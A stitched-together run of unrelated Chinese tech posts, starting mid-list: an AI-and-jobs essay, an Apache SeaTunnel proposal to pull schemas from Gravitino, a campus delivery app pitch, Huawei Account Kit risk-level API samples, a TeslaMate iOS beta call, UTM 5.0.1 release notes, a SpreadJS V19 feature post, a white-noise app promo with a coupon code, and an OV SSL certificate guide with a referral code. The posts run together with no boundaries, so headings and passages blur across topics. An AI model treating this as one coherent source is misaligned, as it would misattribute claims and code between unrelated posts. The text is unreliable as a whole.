  • 懂责任

AI时代的工作,不再是“执行”,而是管理智能系统的执行


七、AI失业的真正原因是什么?不是技术,而是技能断层

企业缺工程师,工人却失业,这是AI时代最典型的矛盾。

问题不在技术,而在于技能供需错配

AI替代速度远快于教育和培训系统更新速度,于是出现短期失业。


八、如何应对技能断层?三方路径

1️⃣ 个人

  • 学会使用AI工具
  • 从执行转向监督
  • 构建不可替代能力

2️⃣ 企业

  • 内部转型培训
  • 设计人机协作流程
  • 保留经验型员工

3️⃣ 政府

  • 再培训计划
  • 过渡期保障
  • 新职业认证体系


九、国际经验正在证明:转型比对抗更有效

  • 韩国:AI技能再培训
  • 新加坡:AI过渡补贴
  • 中国:新职业目录引导

这些措施不是阻止技术,而是缓冲转型冲击


十、最终结论(引用级)

AI不会让人失业,但不会学习的人一定会被淘汰。
AI淘汰的是流程,而不是人。

未来最有竞争力的人,是那些:

  • 能定义目标
  • 能监督AI
  • 能持续学习的人

十一、给普通人的一句行动建议

从今天开始,把AI当成你的工作系统,而不是聊天工具。

学会把任务交给AI,让自己升级为负责人

每次在 Apache SeaTunnel 里配置非关系型数据库,看着那几百行还要手动定义的字段映射,是不是挺崩溃的?配置错一个字段,任务就报错,这种“体力活”真的该结束了。

最近 Apache SeaTunnel 社区的 Issue #10339 提案捅破了这层窗户纸:既然有 Apache Gravitino 这么强大的元数据服务,为什么不直接让它自动同步 Schema?这个提议一出,社区反响热烈,核心维护者们已经把它列入了年度 RoadMap。目前的讨论很务实,大家正盯着怎么让 Apache SeaTunnel 在提交作业时自动‘抓取’最新的元数据,好让大家彻底告别那种‘对着数据库手敲配置’的原始生活。

🫱 Issue 链接: https://github.com/apache/seatunnel/issues/10339

Issue 概述

先来看看提交这个 Issue 的作者是为什么想到这个点子的,以及他初步的核心设计概念。🔽

本 PR 实现了 Apache Gravitino 与 SeaTunnel 的集成,将其作为非关系型连接器的外部元数据服务。通过 Gravitino 的 REST API 自动获取表结构和元数据,SeaTunnel 用户无需再在连接器配置中手动定义冗长且复杂的 Schema 映射。

背景

目前,Apache SeaTunnel 中的许多非关系型连接器(如 Elasticsearch、向量数据库和数据湖引擎)要求用户在作业配置中显式定义完整的列 Schema。这导致了以下问题:

  • 配置繁琐且易错:字段映射内容冗长,极易发生人为错误。
  • 架构冗余:不同作业之间存在大量重复的 Schema 定义。
  • 数据不一致风险:实际存储层与 SeaTunnel 配置文件之间容易出现架构脱节。

变更内容

本 PR 增加了基于 Gravitino 的 Catalog 和 Schema 解析器,使 SeaTunnel 能够:

  • 通过 REST API 从 Gravitino 查询表定义。
  • 自动获取列名、数据类型及相关属性。
  • 直接根据 Gravitino 元数据构建 SeaTunnel 内部 Schema。
  • 针对受支持的连接器,取消强制手动定义 schema { fields { ... } } 的要求。

实现后,用户只需在作业配置中指定 Gravitino Catalog 和相关的表引用即可。

核心优势

  • 零手动映射:非关系型数据源实现 Schema 自动对齐。
  • 单一事实来源:确保表结构与中心化元数据仓库保持高度一致。
  • 提升可靠性:显著提高配置的准确性,降低长期维护成本。
  • 支持复杂类型:通过统一元数据,简化了对嵌套结构、JSON、向量等高级类型的处理。

执行范围

所有基于 Gravitino 的 Schema 解析和校验均在 SeaTunnel Engine 客户端完成(即在作业提交前)。这种设计确保了:

  • 在作业预检阶段即可发现无效或不兼容的 Schema。
  • 运行时的任务仅接收经过验证和标准化的 Schema,降低了执行失败的概率。

影响

这一更新极大地简化了非关系型连接器的作业设置。除了提升易用性,它还为整个 SeaTunnel 生态系统在统一架构管理、架构演进以及高级数据类型支持方面奠定了技术框架。

核心思路

针对 FTP、S3、ES、MongoDB 等半结构化与非结构化数据源,SeaTunnel 现支持通过 Gravitino REST API 自动解析表结构(Schema)。

需要注意的是,这并非要取代现有的显式配置,而是一项完全向前兼容的可选新机制

解析优先级如下:

1. 显式配置(Inline Schema)永远优先

只要连接器配置中包含了 schema 代码块,SeaTunnel 就必须忽略 Gravitino,直接以显式定义的 Schema 为准。

FtpFile {
  path = "/tmp/seatunnel/sink/text"
  # ... 其他基础配置 ...
  
  # 只要这里定义了,就不会去查 Gravitino
  schema = {
    name = string
    age  = int
  }
}

2. 通过 env 全局配置 Gravitino(推荐模式)

SeaTunnel 已在引擎层面集成了 Gravitino Metalake。
env 中全局开启后,所有非关系型数据源都能直接通过名称引用 Schema。

env {
  metalake_enabled = true
  metalake_type    = "gravitino"
  metalake_url     = "http://localhost:8090/api/metalakes/metalake_name/catalogs/"
}

2.1 使用 schema_path 引用

FtpFile {
  # ... 基础配置 ...
  schema_path = "catalog_name.ykw.test_table"
}

2.2 使用 schema_url 引用

FtpFile {
  # ... 基础配置 ...
  schema_url = "http://localhost:8090/api/metalakes/laowang_test/.../tables/all_type"
}

3. 兜底逻辑:读取操作系统环境变量

如果在作业的 env 块中没有定义 Gravitino,SeaTunnel 会尝试从操作系统环境变量中读取以下配置:
metalake_enabled | metalake_type | metalake_url
其行为逻辑与第 2 节中的 env 配置完全一致。

4. 在连接器层级单独配置 Gravitino

如果全局没有配置元数据中心,也可以在具体的连接器(Connector)内部直接定义 Gravitino。

4.1 直接使用 schema_url

FtpFile {
  # ... 基础配置 ...
  metalake_type = "gravitino"
  schema_url = "http://localhost:8090/api/.../tables/all_type"
}

4.2 组合使用 metalake_url 与 schema_path

FtpFile {
  # ... 基础配置 ...
  metalake_type = "gravitino"
  metalake_url  = "http://localhost:8090/api/metalakes/metalake_name/catalogs/"
  schema_path   = "catalog_name.ykw.test_table"
}

5. 探测器定位 (Find detector)

系统会根据 metalake_type 自动匹配并加载对应的 REST API HTTP 探测器。

6. 映射与构建 CatalogTable

探测器调用拼接好的 URL 获取响应体(ResponseBody),随后将其交给映射器(Mapper)进行类型匹配,最终完成 CatalogTable 的构建。

7. 流程图如下

Issue 进展

目前,Apache SeaTunnel 项目核心贡献者对此提议给出了正面评价,并将其添加到 Apache SeaTunnel Roadmap 中。

Apache SeaTunnel PMC Member 对这个提议提出一些疑问,比如这种集成属于哪一层级,对多引擎兼容性的考量,类型转换的准确性等,并根据社区设计规范,要求发起者提交一份正式的设计文档(Design Document)。提交者的回复非常具有建设性,他通过 “客户端预处理”和“抽象 Catalog 接口” 这两个核心设计点,有效地回应了社区对于系统耦合度和运行稳定性的担忧。

目前,这个讨论的回到了该 Issue 的提交者手中,社区正在等待他提交那份正式的 Design Document。

可以看到,这个方案要是落地,咱以后写任务可能就一两行配置的事儿。目前设计稿正在打磨中,非常需要大家去评论区吐吐槽、提提建议,毕竟这个功能好不好用,咱们一线开发者最清楚。走,去 GitHub 围观一下,说不定你的一个提议就能决定下一个版本的样子!🔽
https://github.com/apache/seatunnel/issues/10339

两种截然不同的产品逻辑:前者是把社会外卖平台简单搬进校园,后者则是真正理解校园场景后构建的本地化服务生态。真正的校园外卖,绝非 “社会平台的简化版”,而是一套需要深度重构的 “懂校园、贴场景、有温度” 的服务体系。


一、走出“便宜至上”的误区:需求分层的金字塔模型

  1. 基础层(生存刚需):30分钟内稳定送达、10-20元主流价格带、食品安全底线保障。这是入场券,但不是决胜点。
  2. 场景层(节奏适配)

    • 时间适配:早课前8:00-8:05的“5分钟早餐包”、图书馆闭馆后的“深夜能量站”。
    • 空间适配:教室与宿舍区不同菜单、社团活动“拼单套餐”一键成团。
    • 社交适配:宿舍拼单免配送费、“分享考研加油餐得优惠”、可定制的“教授同款午餐”。
  3. 情感层(身份认同):这超越了功能本身,产品成为他们校园生活的“伙伴”而非工具。能否提供情绪价值、营造归属感的关键。

外卖端页面展示:

二、破解“高峰堰塞湖”:用“时空切割法”重构运力与体验

  • 空间切割

    • 教学饥荒区(教学楼群):主打“课间极速达”,供应可快速进食的简餐、咖啡。
    • 宿舍深水区(生活区):提供“夜间专属菜单”,如粥品、小吃,并延长服务时间。
    • 社交荒漠区(体育场、活动中心):预设“团建套餐”,满足班级、社团活动需求。
  • 时间预测:打通或模拟教务系统API,获取全校课表。在上午第四节下课、晚上选修课结束前,系统预判需求,提前向合作商户推送热销套餐备餐指令。
  • 运力革命:组建“校园配送联盟”,招募勤工俭学的学生作为配送员。优势显著:

    • 成本优化:学生兼职成本更低,且时间与订单高峰天然契合。
    • 信任穿透:校内同学身份,可直达宿舍楼内,解决“最后100米”难题。
    • 灵活调度:基于课程空闲时间派单,实现运力匹配。

商户端页面展示:

三、从“送餐”到“送一切”:构建校园生活服务中枢

单一的外卖功能有限。成功的小程序,早已演化成校园本地生活的超级入口。已验证的高频衍生场景包括:

  1. 外卖/快递代取:发布需求,由顺路的同学有偿接单送达。
  2. 资料/物品代送:忘带课本、急需文件,可发起校内闪送。
  3. 线上打印:上传文档,选择就近打印点,付费后直接送到寝室。
  4. 生活服务整合:二手交易、电脑维修、干洗服务、代买日用品等,均可接入平台。

骑手端页面展示:

四、技术为骨,运营为肉:让数据驱动“懂校园”的智慧

  • 技术选型:前端采用 Uni-app 实现一套代码多端发布(微信小程序、H5、App),后端使用 Tp6框架 开发管理后台,兼顾开发效率与系统稳定性。
  • 数据核心:不仅仅是处理订单,更重要的是数据分析。研判各区域、各时段、各人群的消费偏好,
  • 生态扩展:在基础平台上,可搭载 “校园圈子” 系统,形成信息互动社区。并可进一步插件化扩展,如:

    • 独立管理的社团专区
    • 1v1音视频通话(用于兼职面试、活动沟通)。
    • 求职招聘、兼职信息 频道。
    • 这些插件可根据学校特点进行私人化定制,让每个校园的生态都具有独特性。

后端管理系统看板:

当应用平台组织诸如秒杀、抽奖等营销活动时,经常会遭遇"薅羊毛"行为,给业务方带来不小的经费损失。比如通过虚假手机号进行批量注册,多次参加活动;又比如,当应用商户进行红包补贴、优惠券发放等营销活动时,使用脚本或模拟器"薅羊毛"。

为避免该问题,HarmonyOS SDK华为账号服务(Account Kit)提供了获取用户风险等级的能力,能够有效识别恶意场景,提前防范业务风险。

应用场景

一、应用登录风控场景:

当用户使用华为账号关联登录应用时,开发者可通过华为账号获取用户风险等级的能力获取用户账号的风险等级,对高风险等级账号进行风控,提升应用的安全等级。

二、营销活动反作弊场景:

在应用进行营销活动期间,如进行商户补贴、优惠券发放等商业营销活动时获取华为账号风险等级,协助开发者有效识别"薅羊毛"风险;保护营销资源合理使用,降低业务安全问题给营销方带来的损失,为相关活动保驾护航。

风险等级

获取用户风险等级方式

一、 通过华为账号一键登录获取用户风险等级。

在应用登录风控场景中,开发者可以通过华为账号一键登录获取用户风险等级,对恶意账号进行风控,提升应用的安全等级。
大致业务流程如下:

通过华为账号一键登录获取用户风险等级的开发,需要建立在一键登录的开发基础上。在进行代码开发前,请确认已经完成一键登录的开发准备工作,然后申请对应的scope权限,接着就可以进行客户端部分的开发。

在客户端开发部分,需要参考一键登录开发流程步骤1及步骤2,确保系统账号已登录,匿名手机号获取成功,且用户首次通过华为账号登录该应用。接着再参考步骤3的示例代码,在LoginWithHuaweiIDButton组件参数params中设置riskLevel标识为true,其余示例代码保持不变,拉起应用登录页。

LoginWithHuaweiIDButton({
  params: {
    // LoginWithHuaweiIDButton支持的样式
    style: loginComponentManager.Style.BUTTON_RED,
    // 账号登录按钮在登录过程中展示加载态
    extraStyle: {
      buttonStyle: new loginComponentManager.ButtonStyle().loadingStyle({
        show: true
      })
    },
    // LoginWithHuaweiIDButton的边框圆角半径
    borderRadius: 24,
    // LoginWithHuaweiIDButton支持的登录类型
    loginType: loginComponentManager.LoginType.QUICK_LOGIN,
    // LoginWithHuaweiIDButton支持按钮的样式跟随系统深浅色模式切换
    supportDarkMode: true,
    // verifyPhoneNumber:如果华为账号用户在过去90天内未进行短信验证,是否拉起Account Kit提供的短信验证码页面
    verifyPhoneNumber: true,
    // riskLevel:标识应用期望在登录后获取华为账号的风险等级
    riskLevel: true,
  },
  controller: this.controller
})

用户同意协议并点击一键登录按钮后,可获取到Authorization Code,并在服务端使用Client ID、Client Secret、Authorization Code调用获取用户级凭证接口向华为账号服务器请求获取Access Token,最后使用Access Token调用获取用户风险等级接口获取用户的风险等级。

import com.alibaba.fastjson2.JSONArray;
import com.alibaba.fastjson2.JSONObject;
import lombok.extern.slf4j.Slf4j;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpPost;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;

/**
 * 获取用户风险等级
 */
@Slf4j
public class GetUserRiskLevelDemo {
    public static void main(String[] args) throws IOException {
        // 获取用户风险等级的接口URL
        String url = "https://account.cloud.huawei.com/user/getuserrisklevel";
        // 替换为您实际的Client ID
        String clientID = "<Client ID>";
        // 替换为您实际的transactionID
        String transactionID = "<transactionID>";
        // 替换为您实际的获取到的用户级凭证Access Token
        String accessToken = "<Access Token>";
        // 替换为您实际的scene
        String scene = "<scene>";
        JSONObject result = getUserRiskLevel(url, clientID, transactionID, accessToken, scene);
        // 解析获取errCode
        Integer errCode = result.getInteger("errCode");
        // 解析获取errMsg
        String errMsg = result.getString("errMsg");
        // 解析获取riskLevel
        Integer riskLevel = result.getInteger("riskLevel");
        // 解析获取riskTag
        JSONArray riskTag = result.getJSONArray("riskTag");
    }

    private static JSONObject getUserRiskLevel(String url, String clientID, String transactionID,
        String accessToken, String scene) throws IOException {
        HttpPost httpPost = new HttpPost(url + "?" + "clientID=" + clientID + "&transactionID=" + transactionID);
        Map<String, String> reqBody = new HashMap<>();
        reqBody.put("accessToken", accessToken);
        reqBody.put("scene", scene);
        httpPost.setHeader("Content-Type", "application/json;charset=utf-8");
        httpPost.setEntity(CallUtils.wrapJsonEntity(reqBody));
        return CallUtils.toJsonObject(CallUtils.remoteCall(httpPost, (CloseableHttpResponse response, String rawBody) -> {
            int statusCode = response.getStatusLine().getStatusCode();
            // http状态码不是200,请求失败
            if (statusCode != 200) {
                return new IOException("call failed! http status code: " + statusCode + ", response data: " + rawBody);
            }
            // http状态码为200,解析响应的body,判断业务错误码
            JSONObject errorResponseBody = CallUtils.toJsonObject(rawBody);
            // 错误码
            Integer errCode = errorResponseBody.getInteger("errCode");
            // errCode为0表示成功,非0表示失败
            if (Objects.nonNull(errCode) && errCode != 0) {
                return new IOException("call failed! http status code: " + statusCode + ", response data: " + rawBody);
            }
            return null;
        }));
    }
}

二、 通过华为账号其他方式登录获取用户风险等级。

在应用已使用华为账号关联登录的场景中,开展商户补贴、优惠券发放等商业营销活动时,开发者可通过华为账号其他方式登录获取华为账号风险等级,有效识别"薅羊毛"风险,保护营销资源合理使用。

大致业务流程如下:

通过华为账号其他方式登录获取用户风险等级的开发步骤同样分为客户端开发和服务端开发。客户端开发步骤如下:

  1. 首先导入authentication模块及相关公共模块。

    import { authentication } from '@kit.AccountKit';
    import { hilog } from '@kit.PerformanceAnalysisKit';
    import { util } from '@kit.ArkTS';
    import { BusinessError } from '@kit.BasicServicesKit';

  2. 然后创建授权请求并设置参数。

    // 创建授权请求,并设置参数
    const authRequest = new authentication.HuaweiIDProvider().createAuthorizationWithHuaweiIDRequest();
    // 获取风险等级需要传如下scope
    authRequest.scopes = ['riskLevel'];
    // 获取authorizationCode需传如下permission
    authRequest.permissions = ['serviceauthcode'];
    // 用户是否需要登录授权,该值为true且用户未登录或未授权时,会拉起用户登录或授权页面
    authRequest.forceAuthorization = true;
    // 用于防跨站点请求伪造
    authRequest.state = util.generateRandomUUID();

  3. 调用AuthenticationController对象的executeRequest方法执行授权请求,并处理授权结果,从授权结果中解析出authorizedScopes和Authorization Code。

    // 执行授权请求
    try {
    // 此示例为代码片段,实际需在自定义组件实例中使用,以获取UIContext对象作为函数入参
    const controller = new authentication.AuthenticationController(this.getUIContext().getHostContext());
    controller.executeRequest(authRequest).then((data) => {

     const authorizationWithHuaweiIDResponse = data as authentication.AuthorizationWithHuaweiIDResponse;
     const state = authorizationWithHuaweiIDResponse.state;
     if (state && authRequest.state !== state) {
       hilog.error(0x0000, 'testTag', `Failed to authorize. The state is different, response state: ${state}`);
       return;
     }
     hilog.info(0x0000, 'testTag', 'Succeeded in authentication.');
     let riskLevelAuthorized: boolean = false;
     const authorizationWithHuaweiIDCredential = authorizationWithHuaweiIDResponse?.data;
     const authorizedScopes = authorizationWithHuaweiIDCredential?.authorizedScopes;
     // 判断授权成功scopes中是否包含riskLevel
     if (authorizedScopes?.includes("riskLevel")) {
         riskLevelAuthorized = true;
     }
     const authorizationCode = authorizationWithHuaweiIDCredential?.authorizationCode;
     // 开发者处理riskLevelAuthorized, authorizationCode

    }).catch((err: BusinessError) => {

     dealAllError(err);

    });
    } catch (error) {
    dealAllError(error);
    }
    // 错误处理
    function dealAllError(error: BusinessError): void {
    hilog.error(0x0000, 'testTag', Failed to obtain userInfo. Code: ${error.code}, message: ${error.message});
    // 在应用获取用户风险等级场景下,涉及UI交互时,建议按照如下错误码指导提示用户
    if (error.code === ErrorCode.ERROR_CODE_LOGIN_OUT) {

     // 用户未登录华为账号,请登录华为账号并重试

    } else if (error.code === ErrorCode.ERROR_CODE_NETWORK_ERROR) {

     // 网络异常,请检查当前网络状态并重试

    } else if (error.code === ErrorCode.ERROR_CODE_USER_CANCEL) {

     // 用户取消授权

    } else if (error.code === ErrorCode.ERROR_CODE_SYSTEM_SERVICE) {

     // 系统服务异常,请稍后重试

    } else if (error.code === ErrorCode.ERROR_CODE_REQUEST_REFUSE) {

     // 重复请求,应用无需处理

    } else {

     // 获取用户信息失败,请稍后重试

    }
    }

    export enum ErrorCode {
    // 账号未登录
    ERROR_CODE_LOGIN_OUT = 1001502001,
    // 网络错误
    ERROR_CODE_NETWORK_ERROR = 1001502005,
    // 用户取消授权
    ERROR_CODE_USER_CANCEL = 1001502012,
    // 系统服务异常
    ERROR_CODE_SYSTEM_SERVICE = 12300001,
    // 重复请求
    ERROR_CODE_REQUEST_REFUSE = 1001500002
    }

  4. 在客户端开发完成后,同样需要调用获取用户级凭证接口向华为账号服务器请求获取Access Token,并使用Access Token调用获取用户风险等级接口获取用户的风险等级。

了解更多详情\>\>

访问华为账号服务联盟官网

获取获取风险等级开发指导文档

之前在社区分享过 mytesla TeslaMate 的 Web 版看板,收到了不少车友的反馈。虽然 Web 版可以完美替换 grafana ,但手机浏览器的交互体验确实差点意思。

元旦开工以来,Vibe Coding 了一番,尝试把从 Next.js 转成 SwiftUI 。本想只是手痒重构,结果越写越上头,最后干脆完成了这个 iOS 原生版的 TeslaMate 客户端,并加了不少功能 —— Mytess (全部代码均为 Vibe Coding )

目前 App 已经跑通了核心功能并进入 TestFlight 阶段,想招募一批硬核车友参与内测,帮我一起找找 Bug 或者提提需求。

App 功能截图




核心功能

图文可以看官网 功能介绍

  • 基础监控:车辆实时状态、历史数据、电池健康度、各项统计报表。
  • 深度洞察:行程数据、周期数据洞察胶囊,用车环境、习惯、场景洞察。
  • 电费管理:地理围栏计费 + 历史电费批量更新。
  • 实时通知与灵动岛:商场停车时长、充电、导航信息直接上岛。
  • 交互式地图:在手机上平滑地回溯每一段行驶轨迹和细节。

参与方式(需要自建 TeslaMate )

为了适配 iOS 端,需要你在现有的 TeslaMate docker-compose.yml 中添加一个 API 容器。App 中配置改 API 服务地址和 Token 获取数据。可以自行打动或反向代理。

1. 修改 Docker 配置:
请务必使用 testflight 这个 tag:

teslamateapi:
    image: mytesla/teslamateapi:testflight
    restart: unless-stopped
    environment:
      - DATABASE_USER=${TM_DB_USER}
      - DATABASE_PASS=${TM_DB_PASS}
      - DATABASE_NAME=${TM_DB_NAME}
      - DATABASE_HOST=database
      - ENCRYPTION_KEY=${TM_ENCRYPTION_KEY}
      - MQTT_HOST=mosquitto
      - API_TOKEN=这里填你自定义的 Token
    ports:
      - 3030:8080

2. 加入 TestFlight:
https://testflight.apple.com/join/nreudJgB

问题反馈与交流

内测阶段难免有 Bug ,反馈参考如下:

  • 微信群交流:可以添加微信 mytesla-kefu 入群反馈问题。
  • 直截了当:在 TestFlight 中直接截图发送反馈。
  • 硬核 Debug:在 App 设置页最底部连点版本号 5 次,复制生成的日志发送至 [email protected],并附上简单描述。

一点心意:所有参与内测并积极反馈的用户,在正式版上线后都会提供专属折扣,并受邀参加后续的专属活动。

官网:https://cn.mytess.net/

UTM 5.0.1 发布 - 基于 QEMU 的 macOS 虚拟机与模拟器应用

在 iPhone 和 iPad 中虚拟化 Windows、Linux 和 Unix,如此简单!

请访问原文链接:https://sysin.org/blog/utm-5/ 查看最新版。原创作品,转载请保留出处。

作者主页:sysin.org


UTM for Mac 是一款基于 QEMU 的 macOS 虚拟机与模拟器应用,用于在 Mac 上运行和测试 Windows、Linux 等多种操作系统。

UTM 是什么?

UTM 是一款面向 iOS 和 macOS 的全功能系统模拟器和虚拟机宿主,基于 QEMU。简而言之,它可以让你在 Mac、iPhone 和 iPad 上运行 Windows、Linux 等多种操作系统。

QEMU(Quick Emulator)是一款开源的机器模拟器和虚拟化软件,由 Fabrice Bellard 于 2003 年创建。它通过动态二进制转换技术实现跨平台虚拟化,支持 x86、ARM、MIPS 等多种处理器架构。QEMU 既可以作为独立虚拟机运行完整的操作系统,也可与 KVM(基于内核的虚拟机)配合使用实现硬件加速虚拟化 (sysin),这种组合方案能够提供接近原生性能的虚拟化体验。

QEMU 核心特点是跨平台虚拟化支持,支持 x86、ARM、RISC-V、PowerPC 等多种处理器架构,可在 Windows、Linux、macOS 等操作系统上运行,这意味着在 iOS 上也可以运行 Windows x86 系统。

UTM 和 QEMU 的关系可以概括为:UTM 是基于 QEMU 构建的图形化虚拟化与系统模拟工具。

快速入门

快速入门 - 步骤一

1、使用 “+” 按钮打开新的虚拟机向导。

2、 选择一个虚拟机以显示其详细信息;对虚拟机进行右键点击或使用 Force Touch 可打开 操作菜单 (actions menu)。

3、使用启动按钮快速启动虚拟机。

快速入门 - 步骤二

4、通过工具栏最右侧的图标打开 设置 (settings)。

5、在详情视图中,点击 “浏览…” 按钮选择一个 共享目录 ( shared directory)。

6、在详情视图中打开驱动器菜单,选择要挂载(或弹出)的可移动磁盘映像

UTM 5 新增功能

亮点

  • 改进了 Linux 的图形加速:在 Linux 客户机中,通过 Mesa 的 VirtIO Venus 驱动现已支持 Vulkan 1.3;在 macOS(仅限)上,借助全新的 Apple Core OpenGL 后端支持 OpenGL 4.1。

已知问题

  • (macOS)Apple CoreGL 后端不支持 Vulkan。
  • 由于缺少相关特性,DXVK 无法工作(#7575)。
  • KosmicKrisp 目前以 WIP(进行中)形式提供,但上游当前版本尚不完整,因此推荐使用 MoltenVK 驱动。
  • (macOS 26)由于 HV_UNSUPPORTED 错误,虚拟机无法启动。这是一个构建问题,将在下一个版本中修复。临时解决方法:在设置中禁用 Vulkan(#7579)。

更改内容(v5.0.1)

  • CocoaSpice:重构了 Metal 渲染器,以提升性能并降低延迟
  • 修复了当 BIOS 文件名中包含逗号时无法加载的问题
  • 默认 FPS 现在将设置为 macOS 和 iPadOS 显示器的最大刷新率(配备 ProMotion 的 iPhone 默认仍为 60Hz,但可在设置中覆盖为 120Hz)
  • (macOS)修复了在启用 Vulkan 时启动出现 HV_UNSUPPORTED 的问题(#7579)
  • (iOS)修复了外接显示器的分辨率问题(#6040)
  • (iOS)双指缩放将自动关闭来自来宾系统的缩放自动更新(可通过调整大小按钮重置)
  • (iOS)修复了外接显示器菜单未更新的问题 (sysin)
  • (iOS)修复了外接显示器缩放比例不正确的问题,并且在连接外接显示器时将自动缩放以适配屏幕
  • (iOS)修复了关闭虚拟机电源后会显示主屏幕但不会在后台终止 UTM 的问题

下载地址

UTM v5.0.1 Release 2026-01-20

更多:macOS 下载汇总 (系统、应用和教程)

随着企业数字化转型的深入,报表不仅是数据的展示工具,更是业务逻辑的载体。在与众多开发者的交流中,我们发现了一个长期存在的痛点:“为什么我精心设计的报表导出到 Excel 后,动态的公式都变成了死板的数值?”

在即将发布的 SpreadJS V19.0 中,我们针对报表插件(ReportSheet)带来了一项重量级更新——“导出预览报表到 Excel 时保留公式”功能。今天,我就带大家深度解密这项特性,看它如何打破数据与逻辑之间的壁垒。

一、 痛点回顾:消失的“计算逻辑”

在过去,开发者在报表模板中定义的公式,在导出为 Excel 文件时,往往会被计算引擎处理并转化为静态值

这意味着,当终端用户拿到导出的 Excel 文件并试图修改其中的基础数据时,报表中的小计、总计等关键指标并不会随之更新。用户不得不手动重新输入 Excel 公式,这不仅降低了工作效率,也让报表失去了原本的动态交互灵魂。

二、 核心能力:让 Excel 报表“动”起来

SpreadJS V19.0 引入的“保留公式导出(Preserve Formula in Export)”功能,允许用户在将报表导出为 Excel 文件时,完整保留单元格中的计算逻辑

1. 核心价值总结

  • 逻辑无缝延续:导出后的 Excel 依然拥有动态计算能力,而非固定数值。
  • 自由编辑体验:终端用户修改 Excel 单元格内容后,相关公式会自动重算,保持与原始系统一致的交互体验。

在这里插入图片描述

三、 深度解析:它是如何实现的?

为了兼顾各种复杂的报表场景,我们针对不同的公式类型和布局制定了严密的导出策略。

1. 标准 Excel 函数处理

  • 连续区域引用:如果报表展开后的单元格区域是连续的,导出时将作为单一区域引用。
  • 不连续区域引用:对于 SUM、AVERAGE、MIN、MAX 等聚合函数,即使报表生成的区域不连续,SpreadJS 也会智能地将其导出为多个区域的组合引用。
    在这里插入图片描述

在这里插入图片描述

2. R.V(报表变量/视觉)公式的智能转换

R.V 公式是 SpreadJS 报表中的特色功能。在 V19.0 中:

  • 如果公式在预览模式下可解析,导出时会精准转换为 Excel 实际单元格引用
  • 对于表达式中部分可解析的情况,我们会使用 SJS.EMPTY_CELL(值为 0)进行占位,确保公式结构的完整性。
    在这里插入图片描述

在这里插入图片描述

3. 报表专用公式的保留

对于如 R.IndexR.RankR.YoY(同比)等 SpreadJS 专有的报表函数,导出时会保留其函数名和引用。虽然 Excel 原生不支持这些函数(会显示为 #NAME?),但这为二次开发或后续回导提供了珍贵的元数据信息。
在这里插入图片描述

四、 开发者友好:配置只需一个属性

在 SpreadJS V19.0 中,启用这项功能非常简单。

方式一:API 配置

在设置 StaticCell 类型的模板单元格时,只需指定 preserveFormulaInExport 属性:

// 代码示例
export type StaticCell = {
    type: 'Static',
    preserveFormulaInExport?: boolean; // 设为 true 即可开启
    // ... 其他属性
};

方式二:设计器直观操作

如果您使用的是 SpreadJS 设计器,完全无需编写代码。在“报表单元格”属性面板中,勾选“导出 Excel 时保留公式”选项即可一键开启。

在这里插入图片描述

五、 结语

“保留公式导出”特性的加入,标志着 SpreadJS 报表插件在“所见即所得”的基础上,进一步实现了“所获即所用”。它不仅是导出格式的改进,更是对数据生命周期的深度赋能。

SpreadJS V19.0 还有更多关于 AI 插件增强、协同插件正式版、WebWorker 增量计算等重磅特性蓄势待发。

道阻且长,行则将至。 让我们共同期待 V19.0 带来的生产力变革!

注:具体技术文档请以正式发布版本为准。

Hi V2EX ,

去年在这里分享过一次 地球之声,收到了很多反馈和建议。这段时间根据大家的意见迭代了不少功能,iOS APP 也终于在国内 App Store 上架了(已通过 ICP 备案)。

目前的数据

  • iOS APP 下载:100+

看着 [死了么] APP 流下了羡慕的泪水。。。我自己每天都在用,这可能是最大的成就感。

核心功能

1. 多轨白噪音混合器

同时播放多个自然声音,每个声音独立控制:

  • 音量:0-200%(可增强音量)
  • 平衡:左右声道调节
  • 循环模式:自定义播放/静音节奏

每个声音独立节奏,组合起来就像真实环境一样自然。

2. 智能定时器

  • 睡眠定时器:定时停止,支持渐弱淡出
  • 唤醒定时器:定时开始,音量渐强
  • 自动黑屏:省电模式

截图 1:主界面

根据 V2 用户反馈的改进

上次发帖后收到的建议,已经实现的:

  1. APP 内增加优惠券兑换入口
  2. 增加沉浸式黑胶唱片播放界面
  3. 音频下载速度 ✅ 优化了 CDN
  4. 国内 App Store 上架 ✅ 已通过 ICP 备案,现已上架
  5. 增加了更多声音资源以及内置更多场景

规划中的功能:

  • 番茄钟( Web 端已有,移动端开发中)
  • Android 版本(开发中)
  • 更多声音资源(每月更新)

送码活动

准备了 100 个 1 年高级会员兑换码

使用方式:
在 地球之声 APP > 我的 > 升级到高级会员 > 拉到底部点击兑换优惠代码

兑换码:EARTHSOUNDSYEAR2602 (可兑换多次,用完即止)

注意: 兑换码仅限 iOS APP 使用

链接

微信群

创建了一个微信群 https://docs.qq.com/doc/DSWF3VkRma05maG15 用于:

  • 产品反馈和功能建议
  • 独立开发经验交流
  • 早期用户福利(内测新功能、额外赠送会员等)


欢迎任何反馈和建议 💬

感谢看到这里 🙏

如果你觉得这个工具还不错,欢迎分享给有需要的朋友。

作为独立开发者,每一个用户的支持都是继续做下去的动力。

如有不当之处还请多多包涵,欢迎批评指正。

OV SSL证书即组织验证型SSL证书,与域名验证型DV SSL证书相比,OV证书在验证过程中除了确认域名所有权外,还要求对申请的公司进行严格的审核,以确保公司的真实性和合法性。可以在浏览器地址栏绿色的小锁中显示单位名称,来增强用户信任,深受单位官网的喜爱。

谁应该使用OVSSL证书?

  • 企业官方网站:展示公司形象,与客户建立信任。
  • 电子商务网站:处理在线支付和客户个人信息。
  • 会员登录/用户门户网站:保护用户登录凭证和个人数据。
  • API 服务接口:确保服务器到服务器通信的身份真实性。
  • 需要提交敏感信息的网站(如医疗、教育、B2B平台)。
  • 追求比DV证书更高信任等级的所有商业网站。

OV SSL证书申请流程:

一、注册账号

访问JoySSL官方网站,在右上角找到“注册”按钮并点击。填写相关信息,创建一个证书管理账号。注册过程中,务必填写特定的注册码230970,这样才可以获得渠道低价和全程技术支持。

二、选择证书类型与年限

登录账号后,进入SSL证书栏,找到“OV证书”选项。根据自身需求,选择OV单域名、OV通配符、或者OV IP地址等SSL证书后,点击“下单”,并通过在线支付或公对公转账的方式完成支付。

三、申请证书

在申请页面,需要填写一系列信息,包括域名、单位名称、联系人、联系方式、邮箱等。这些信息将用于验证单位的真实性,所以务必确保准确无误。

四、验证域名或IP的管理权

提交申请后,并要求验证域名或者IP地址的所有权。按照系统提示的操作步骤进行验证,包括域名DNS解析认证或者服务器文件验证,操作完成后提交。

